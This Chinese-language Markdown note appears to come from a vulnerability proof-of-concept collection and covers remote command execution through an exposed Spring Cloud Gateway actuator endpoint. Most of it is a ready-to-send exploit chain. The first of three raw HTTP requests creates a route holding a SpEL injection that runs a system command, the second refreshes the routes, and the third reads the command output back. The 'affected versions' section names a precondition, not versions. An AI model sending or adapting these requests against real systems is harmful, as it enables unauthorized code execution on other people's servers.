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89 lines
2.7 KiB
Markdown
89 lines
2.7 KiB
Markdown
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# Spring boot gateway存在命令执行漏洞
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# 一、漏洞描述
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Spring boot gateway存在命令执行漏洞
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# 二、影响版本
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Spring boot actuator未授权
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# 三、资产测绘
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```plain
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/actuator/gateway/ 接口存在
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```
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# 三、漏洞复现
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1. <font style="color:rgba(0, 0, 0, 0.9);">构造poc1创建hacker文件：</font>
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```plain
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POST /actuator/gateway/routes/jeecg-demo HTTP/1.1
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Host:
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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Content-Type: application/json
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Content-Length: 333
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{
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"id": "/jeecg-demo",
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"filters": [{
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"name": "AddResponseHeader",
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"args": {
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"name": "Result",
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"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
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}
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}],
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"uri": "http://example.com"
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}
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```
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2、刷新路由
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```plain
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POST /actuator/gateway/refresh HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate, br
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Connection: close
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Cookie: __51uvsct__JuHMLCp1r3cB6ggB=1; __51vcke__JuHMLCp1r3cB6ggB=8bfe73d5-e527-5232-9cbe-1f2983c556d9; __51vuft__JuHMLCp1r3cB6ggB=1681223932313
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: none
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Sec-Fetch-User: ?1
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Priority: u=1
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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3、查看回显
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```plain
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GET /actuator/gateway/routes/jeecg-demo HTTP/1.1
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Host:
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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> 更新: 2024-11-27 10:04:43
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/gl2g116gzest4e6t>
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